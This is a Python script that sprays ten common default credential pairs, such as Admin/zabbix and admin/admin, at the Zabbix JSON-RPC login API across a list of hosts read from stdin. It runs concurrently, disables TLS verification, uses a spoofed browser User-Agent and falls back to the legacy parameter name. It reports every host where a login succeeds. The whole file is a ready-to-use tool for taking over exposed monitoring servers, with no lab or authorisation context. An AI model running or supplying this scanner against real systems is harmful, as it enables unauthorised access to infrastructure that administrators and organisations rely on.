import asyncio
import json
import sys

import aiohttp

UA = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/131.0"}
PAIRS = [
    ("Admin", "zabbix"),
    ("Admin", "Admin"),
    ("admin", "admin"),
    ("Admin", "admin"),
    ("admin", "Admin"),
    ("Admin", "password"),
    ("Admin", "123456"),
    ("zabbix", "zabbix"),
    ("Administrator", "Administrator"),
    ("Admin", "Admin123"),
]


async def login(sess, sem, url, user, pwd, legacy=False):
    key = "user" if legacy else "username"
    body = {"jsonrpc": "2.0", "method": "user.login",
            "params": {key: user, "password": pwd}, "id": 1}
    try:
        async with sem:
            async with sess.post(url, json=body, ssl=False) as r:
                if r.status != 200:
                    return None, "http%d" % r.status
                j = json.loads(await r.content.read(20000))
                if isinstance(j.get("result"), str):
                    return j["result"], "ok"
                err = j.get("error") or {}
                return None, str(err.get("data") or err.get("message") or "")[:60]
    except Exception as e:
        return None, type(e).__name__


async def one(sess, sem, ip, port, path, ver):
    scheme = "https" if port == "443" else "http"
    url = "%s://%s:%s%sapi_jsonrpc.php" % (scheme, ip, port, path)
    note = ""
    legacy = False
    for user, pwd in PAIRS:
        tok, note = await login(sess, sem, url, user, pwd, legacy)
        if not tok and not legacy and "unexpected parameter" in note and "username" in note:
            legacy = True
            tok, note = await login(sess, sem, url, user, pwd, legacy)
        if tok:
            return "\t".join([ip, port, path, ver, "%s/%s" % (user, pwd), "ok" + ("L" if legacy else "")])
    return "\t".join([ip, port, path, ver, "-", note])


async def main():
    rows = []
    for line in sys.stdin:
        f = line.rstrip("\n").split("\t")
        if len(f) >= 4:
            rows.append((f[0], f[1], f[2], f[3]))
    sem = asyncio.Semaphore(24)
    to = aiohttp.ClientTimeout(total=15, connect=5, sock_read=12)
    async with aiohttp.ClientSession(timeout=to, headers=UA,
                                     connector=aiohttp.TCPConnector(limit=0, ssl=False)) as s:
        res = await asyncio.gather(*[one(s, sem, *r) for r in rows])
    for x in res:
        print(x)


asyncio.run(main())
